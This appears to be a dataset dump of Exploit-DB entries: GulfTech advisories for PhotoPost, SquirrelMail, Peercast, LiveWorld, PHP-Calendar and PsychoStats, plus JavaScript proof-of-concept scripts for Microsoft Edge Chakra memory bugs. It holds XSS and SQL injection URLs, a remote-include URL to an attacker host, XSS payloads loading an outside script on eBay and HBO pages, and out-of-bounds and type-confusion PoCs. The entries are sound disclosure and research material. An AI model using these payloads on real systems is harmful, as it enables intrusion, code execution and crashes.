QLWD/code_shield huggingface dataset:
标题: PhotoPost < 4.85 - Multiple Vulnerabilities EDB-ID: 43822 CVE: 2005-0273 2005-0274 类型: WEBAPPS 平台: PHP 发布日期: 2015-01-03 漏洞利用脚本: PhotoPost Multiple Vulnerabilities

Vendor: All Enthusiast, Inc.
Product: PhotoPost
Version: <= 4.85
Website: http://www.photopost.com/

BID: 12157 
CVE: CVE-2005-0273 CVE-2005-0274 
OSVDB: 12741 12741 
SECUNIA: 13680 
PACKETSTORM: 35595 

Description:
PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum. If you already have a forum (vBulletin, UBB Threads, phpBB, DCForum, or InvisionBoard), you'll appreciate that PhotoPost was designed to seamlessly integrate into your site without the need for your users to register twice and maintain two logins. PhotoPost Pro is vulnerable to some serious SQL Injection issues as well as cross site scripting. An update is available and all users should upgrade now. 


Cross Site Scripting:
PhotoPost is prone to cross site scripting in several different scripts throughout the application. Below are examples: 

http://path/showgallery.php?cat=[INT]&page=[XSS]
http://path/showgallery.php?si=[XSS]
http://path/showgallery.php?cat=[INT][XSS]
http://path/showgallery.php?ppuser=[INT]&cat=[INT][XSS] 

This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info. 


SQL Injection Vulnerability:
There are several SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy. 

http://path/showgallery.php?cat=[INT][SQL]
http://path/showgallery.php?ppuser=[INT][SQL]&cat=[INT] 

These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful. 


Solution:
PhotoPost 4.86 has been released to address these issues. Users should upgrade their installation as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43822
标题: SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite EDB-ID: 43830 CVE: 2005-2095 类型: WEBAPPS 平台: PHP 发布日期: 2015-07-14 漏洞利用脚本: SquirrelMail Arbitrary Variable Overwrite

Vendor: The SquirrelMail Project Team
Product: SquirrelMail
Version: <= 1.4.5-RC1
Website: http://www.squirrelmail.org/

BID: 14254 
CVE: CVE-2005-2095 
SECUNIA: 16058 
PACKETSTORM: 38709 

Description:
SquirrelMail is a standards-based webmail package written in php. It includes built-in pure PHP support for the IMAP and SMTP protocols. Unfortunately there is a fairly serious variable handling issue in one of the core SquirrelMail scripts that can allow an attacker to take control of variables used within the script, and influence functions and actions within the script. An updated version of SquirrelMail can be downloaded from their official website. Users are advised to update their SquirrelMail installations as soon as possible. 


Variable Overwriting:
There is a fairly serious variable overwriting vulnerability in one of the core SquirrelMail scripts. The vulnerable script makes use of an extract() call in a careless manner, thus allowing us to overwrite any variables declared before the fault extract call is made. Let's have a look at /src/options_identities.php

/**
 * Path for SquirrelMail required files.
 * @ignore
 */
define('SM_PATH','../');

/* SquirrelMail required files. */
require_once(SM_PATH . 'include/validate.php');
require_once(SM_PATH . 'functions/global.php');
require_once(SM_PATH . 'functions/display_messages.php');
require_once(SM_PATH . 'functions/html.php');

/* POST data var names are dynamic because 
   of the possible multiple idents so lets get
   them all
*/

if (!empty($_POST)) {
    extract($_POST);
}

As we can see from the above block of code, the careless extract() call is made after a majority of the important variables used in the application are loaded, thus making them vulnerable to being easily overwritten. In short, by submitting the variable(s) of the attackers choosing a malicious user could easily influence many important variables, and function calls. 


Solution:
Thanks to Jonathan Angliss and the SquirrelMail team for a prompt resolution to this vulnerability. In regards to the updated files 

http://www.squirrelmail.org/download.php 

The latest version of SquirrelMail 1.4.5 can be downloaded from the link above, and users are advised to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43830
标题: Peercast < 0.1211 - Format String EDB-ID: 43826 CVE: 2005-1806 类型: DOS 平台: WINDOWS 发布日期: 2015-05-28 漏洞利用脚本: Peercast Format String Vulnerability

Vendor: peercast.org
Product: Peercast
Version: <= 0.1211
Website: http://www.peercast.org/

BID: 13808 
CVE: CVE-2005-1806 
OSVDB: 16906 
SECUNIA: 15536 
PACKETSTORM: 39355 

Description:
Peercast is a popular p2p streaming media server (similar to shoutcast). There is a serious security issue in peercast versions 0.1211 and earlier that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast (usually administrator) or crash the vulnerable server. There is an updated version of peercast available and all users should upgrade as soon as possible. 


Format String Vulnerability:
There is a very dangerous format string issue in peercast that may allow for an attacker to execute arbitrary code on the remote target with the privileges of the user running peercast or crash the vulnerable server. Below is an example of how this vulnerability can be exploited to crash a vulnerable server. 

http://localhost:7144/html/en/index.htm%n 

The problem occurs because of the way some error messages are handled. For example in the above example the peercast server receives a malformed request, so the error routine printed the URL, but the error print routine (because it was a printf type function call) then tries to parse the malicious url. 


Solution:
Thanks to Giles from Peercast for fixing this issue fast and releasing a patch in just a few hours. Now that is a quick turn around!
http://www.peercast.org/forum/viewtopic.php?p=11596 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43826
标题: LiveWorld Multiple Products - Cross Site Scripting EDB-ID: 43815 CVE: 2004-2566 类型: WEBAPPS 平台: ASP 发布日期: 2014-08-23 漏洞利用脚本: LiveWorld Cross Site Scripting

Vendor: LiveWorld, Inc
Product: LiveWorld
Version: Multiple Products
Website: http://www.liveworld.com

CVE: CVE-2004-2566 
OSVDB: 9180 
PACKETSTORM: 34143 

Description:
LiveWorld provides collaborative services for online meetings, customer care, and loyalty marketing. Supporting communication between a company and its customers, employees, or partners and among those people themselves - our services help corpor- ations cut costs, increase revenue, and solidify relationships with groups critical to their success. LiveWorld products are used on major websites such as HBO, and eBay 

Cross Site Scripting:
GulfTech Security Research have discovered Cross Site Scripting issues that are believed to be present in multiple LiveWorld Inc products such as LiveForum, LiveQ&A, LiveChat and LiveFocusGroup. It is also a good possibility that this issue exists in other LiveWorld products as they "seem" to share some of the same code. If you believe this to be incorrect, or have proof of it being 100% accurate then please let us know. These issues could allow for an attacker to run code in the context of a victims browser or temporarily deface a website that is running any of the affected applications. 

Proof of Concept:
I have done my best to contact LiveWorld, and eBay. As of the time I am writing this, the holes are not patched, and these examples work. However this may not be the case when this write up becomes public. Please note that these URI's are wrapped for the sake of readability. 

http://answercenter.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D
%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript
%3E%3C%21--%3C%21-- 

http://groups.ebay.com/findclub!execute.jspa?q=%22%3E%3Cscript+s
rc%3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fs
cript%3E%3C%21--%3C%21-- 

http://forums.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D%22htt
p%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript%3E 

http://boards.hbo.com/search!execute.jspa?q=%22%3E%3Cscript+src%
3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscri
pt%3E%3C%21--%3C%21-- 

These examples simply print the GulfTech name to the browser, but this could just as easily be a spoofed form, or a malicious script. 

Solution:
LiveWorld Inc were contacted about these issues, but have not yet responded. Hopefully they will see this report and fix the issues :) Any future fix will likely be posted on their website. 

Credits:
James Bercegay of the GulfTech Security Research Team. URL: https://www.exploit-db.com/exploits/43815
标题: PHP-Calendar < 0.10.1 - Arbitrary File Inclusion EDB-ID: 43819 CVE: 2004-1423 类型: WEBAPPS 平台: PHP 发布日期: 2014-12-29 漏洞利用脚本: PHP-Calendar Arbitrary File Inclusion

Vendor: Sean Proctor
Product: PHP-Calendar
Version: <= 0.10.1
Website: http://php-calendar.sourceforge.net/

BID: 12127 
CVE: CVE-2004-1423 
OSVDB: 12700 12701 
SECUNIA: 22516 
PACKETSTORM: 35563 

Description:
I was searching for a decent calendar which my group at school could use to keep track of events, etc. We were previously using localendar, which I didn't like and it had some problems. I found CST-Calendar which did most of what I wanted, but was rather ugly and missed some features others in the group wanted. So, I gradually re-wrote CST-Calendar since that project seems to have stopped work entirely. [ As quoted from their website ] 


File Include Vulnerability:
There is a very dangerous file include vulnerability in php-calendar, and making the issue even more dangerous is that I found out about php-calendar from an individual who said that php-calendar is a great open source calendar to use in php projects, and is fairly popular amongst open source php developers. This may be true, but the vulnerabilities need to be fixed if the same conditions apply as found in the original code. Below are example attack url's 

http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php 

If php globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server. This can be very dangerous in some situations. 


Solution:
php-calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php 
if ( !defined('IN_PHPC') ) {
 die("Hacking attempt");
}

Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43819
标题: PsychoStats < 2.2.4 Beta - Cross Site Scripting EDB-ID: 43817 CVE: 2004-1417 类型: LOCAL 平台: WINDOWS 发布日期: 2014-12-22 漏洞利用脚本: PsychoStats Cross Site Scripting

Vendor: Jason Morriss
Product: PsychoStats
Version: <= 2.2.4 Beta
Website: http://www.psychostats.com/

BID: 12089 
CVE: CVE-2004-1417 
OSVDB: 12560 
SECUNIA: 13619 
PACKETSTORM: 35502 

Description:
PsychoStats is a statistics generator for games. Currently there is support for a handful of Half-Life "MODs" including Counter-Strike, Day of Defeat, and Natural Selection. PsychoStats gathers statistics from the log files that game servers create by reading through the logs and then calculating detailed statistics for players, maps, weapons and clans. These detailed statistics are stored in a MySQL database which are then viewed online from your website using a set of PHP web pages. There are some complaints out there in the community that do not like the fact that PsychoStats does not provide 'real time' game statistics. The fact is, providing 'real time', accurate and detailed statistics is a hard issue to overcome. Some game statistic generators out there that provide 'real time' statistics simply do not have the same amount of detailed information that PsychoStats has. And they usually only provide very basic 'kill' statistics. Ignoring detailed 'map' and 'clan' statistics. PsychoStats may not be real time, but it works very close to it. As data is stored in a mysql database old logs that were scanned previously do not need to be scanned again, which makes for much faster updates then the old v1.x of PsychoStats. And the data provided by PsychoStats is very detailed. 


Cross Site Scripting:
Cross site scripting exists in Jason Morriss PsychoStats. This vulnerability exists due to user supplied input not being checked properly. Below is an example. 

http://www.example.com/stats/login.php?login=%22%3E%3Ciframe%3E 

This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser. 


Solution:
The vendor was contacted, responded very promptly and said he will be addressing the issue soon and has released an updated version of the software. 

http://www.psychostats.com/forums/viewtopic.php?t=11022 

You can find directions on how to install the patch at the link listed above. Users should upgrade as soon as they can. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43817
标题: Microsoft Edge Chakra - 'AsmJSByteCodeGenerator::EmitCall' Out-of-Bounds Read EDB-ID: 43720 CVE: 2018-0780 类型: DOS 平台: WINDOWS 发布日期: 2018-01-17 漏洞利用脚本: /*
AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arr[idx & ...]()". In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.

PoC:
*/

function Module() {
    'use asm';
    function f() {
        arr();
    }

    function g() {
    }

    var arr = [g];
    return f;
}

let f = Module();
f(); URL: https://www.exploit-db.com/exploits/43720
标题: Microsoft Edge Chakra - Incorrect Scope Handling EDB-ID: 43715 CVE: 2018-0774 类型: DOS 平台: WINDOWS 发布日期: 2018-01-17 漏洞利用脚本: // PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode. URL: https://www.exploit-db.com/exploits/43715
标题: Microsoft Edge Chakra JIT - Out-of-Bounds Write EDB-ID: 43718 CVE: 2018-0777 类型: DOS 平台: WINDOWS 发布日期: 2018-01-17 漏洞利用脚本: // Here's the PoC demonstrating OOB write.

function opt(arr, start, end) {
    for (let i = start; i < end; i++) {
        if (i === 10) {
            i += 0;  // <<-- (a)
        }
        arr[i] = 2.3023e-320;
    }
}

function main() {
    let arr = new Array(100);
    arr.fill(1.1);

    for (let i = 0; i < 1000; i++)
        opt(arr, 0, 3);

    opt(arr, 0, 100000);
}

main();

/*
What happens here is as follows:
In the loop prepass analysis, (a) is a valid add operation. It's a relative operation to "i", so Chakra thinks it's a valid loop. The variable "i" now becomes an induction variable, and a LoopCount object is created. When the LoopCount object is created, the ValueInfo of "i" is IntBounded which contains relative bounds information. 
In the actual optimization phase, (a) gets optimized and becomes a load operation which directly loads 10 to "i". It's no more relative operation, therefore the ValueInfo of "i" is not to be IntBounded. But the LoopCount object has already been created with the previous information. This leads Chakra to fail computing bounds which may result in OOB read/write.
*/ URL: https://www.exploit-db.com/exploits/43718
标题: Microsoft Edge Chakra JIT - Stack-to-Heap Copy EDB-ID: 43723 CVE: 2018-0776 类型: DOS 平台: WINDOWS 发布日期: 2018-01-17 漏洞利用脚本: /*
If variables don't escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those variables should not exist in the stack. In these cases, the stack-allocated variables are copied to the heap. This is performed by the "*::BoxStackInstance" methods.

Here's an example.
function inlinee() {
    return inlinee.arguments[0];
}

function opt() {
    let stack_arr = [];
    // allocate segment to the heap
    for (let i = 0; i < 100; i++)
        stack_arr[i] = 0;

    let heap_arr = inlinee(stack_arr);
    heap_arr[0] = 2;

    print(stack_arr[0]);
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

"stack_arr" is allocated in the stack. When accessing "inlinee.arguments", the stack-allocated variable gets copied to the heap. Therefore, the copied-heap-variable "heap_arr" has the same structure with "stack_arr". The code shows that the two variables share the same buffer by printing out "2". This means, even if one of those arrays' type changes, the other array can access the same buffer with the previous type.

PoC:
*/

function inlinee() {
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */

    let stack_arr = [];  // JavascriptNativeFloatArray
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(new Function(''));  // Prevents to be inlined
    }

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main(); URL: https://www.exploit-db.com/exploits/43723
标题: Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2) EDB-ID: 43717 CVE: 2018-0775 类型: DOS 平台: WINDOWS 发布日期: 2018-01-17 漏洞利用脚本: /*
Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to  issue 1310 .

PoC:
*/

// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());` + '\n'.repeat(0x1000));

PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}()); URL: https://www.exploit-db.com/exploits/43717
标题: Microsoft Edge Chakra JIT - Incorrect Bounds Calculation EDB-ID: 43710 CVE: 2018-0769 类型: DOS 平台: WINDOWS 发布日期: 2018-01-17 漏洞利用脚本: /*
Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.
            // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track
            // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should
            // also track that it is equal to (the value of 'b') - 2.

This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.

function opt(j) {
    let k = j + 0x7ffffff0;
    // (a)
}


But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.

For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.

function opt(j) {
    if (j <= 100)
        return;

    let k = j + 0x7ffffff0;
}


Now, let's take a look at the PoC.

function opt() {
    let j = 0;
    for (let i = 0; i < 2; i++) {
        // (a)
        j += 0x100000;
        // (b)
        let k = j + 0x7ffffff0; // (c)
    }
}

Note that all loops are analyzed twice in the JIT optimization process.

Here's what happens in the analyses.

In the first analysis:
At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.
At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.

In the second analysis:
At (a), Chakra considers "j" to be in the range of 0 to 15.
At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.
At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.


In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.

However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.

PoC demonstrating OOB write:
*/
function opt(arr) {
    if (arr.length <= 15)
        return;

    let j = 0;
    for (let i = 0; i < 2; i++) {
        arr[j] = 0x1234;  // (a)
        j += 0x100000;
        j + 0x7ffffff0;
    }
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
        opt(new Uint32Array(100));
    }
}

main();

// At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check. URL: https://www.exploit-db.com/exploits/43710
标题: Microsoft Edge Chakra - 'JavascriptGeneratorFunction::GetPropertyBuiltIns' Type Confusion EDB-ID: 43713 CVE: 2017-11914 类型: DOS 平台: WINDOWS 发布日期: 2018-01-17 漏洞利用脚本: /*
Here's a snippet of the method.
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)
{
    if (propertyId == PropertyIds::length)
    {
        ...
        int len = 0;
        Var varLength;
        if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))
        {
            len = JavascriptConversion::ToInt32(varLength, requestContext);
        }
        ...
        return true;
    }

    return false;
}

"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.

The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"

Type confusion PoC:
*/

function* f() {
}

let g;
f.__defineGetter__('length', function () {
    g = this;  // g == "scriptFunction"
});


f.length;

g.call(0x1234, 0x5678);  // type confusion URL: https://www.exploit-db.com/exploits/43713